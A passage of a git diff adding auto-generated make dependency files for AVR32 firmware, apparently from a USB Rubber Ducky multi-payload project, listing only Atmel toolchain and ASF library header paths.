5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/common/services/sleepmgr/sleepmgr.h \ + ../src/asf/avr32/drivers/pm/sleep.h ../src/asf/avr32/drivers/pm/pm.h \ + ../src/asf/common/services/sleepmgr/uc3/sleepmgr.h \ + ../src/config/conf_sleepmgr.h + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/common/services/sleepmgr/sleepmgr.h: + +../src/asf/avr32/drivers/pm/sleep.h: + +../src/asf/avr32/drivers/pm/pm.h: + +../src/asf/common/services/sleepmgr/uc3/sleepmgr.h: + +../src/config/conf_sleepmgr.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.o new file mode 100644 index 0000000..2bbf795 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/sleepmgr/uc3/sleepmgr.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.d new file mode 100644 index 0000000..337bd09 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.d @@ -0,0 +1,183 @@ +src/asf/common/services/storage/ctrl_access/ctrl_access.d \ + src/asf/common/services/storage/ctrl_access/ctrl_access.o: \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.c \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.h \ + ../src/config/conf_access.h ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.h \ + ../src/asf/avr32/services/fs/fat/fat.h \ + ../src/asf/avr32/services/fs/fat/fs_com.h ../src/config/conf_explorer.h + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + 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+c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/config/conf_access.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/asf/avr32/services/fs/fat/fat.h: + +../src/asf/avr32/services/fs/fat/fs_com.h: + +../src/config/conf_explorer.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.o 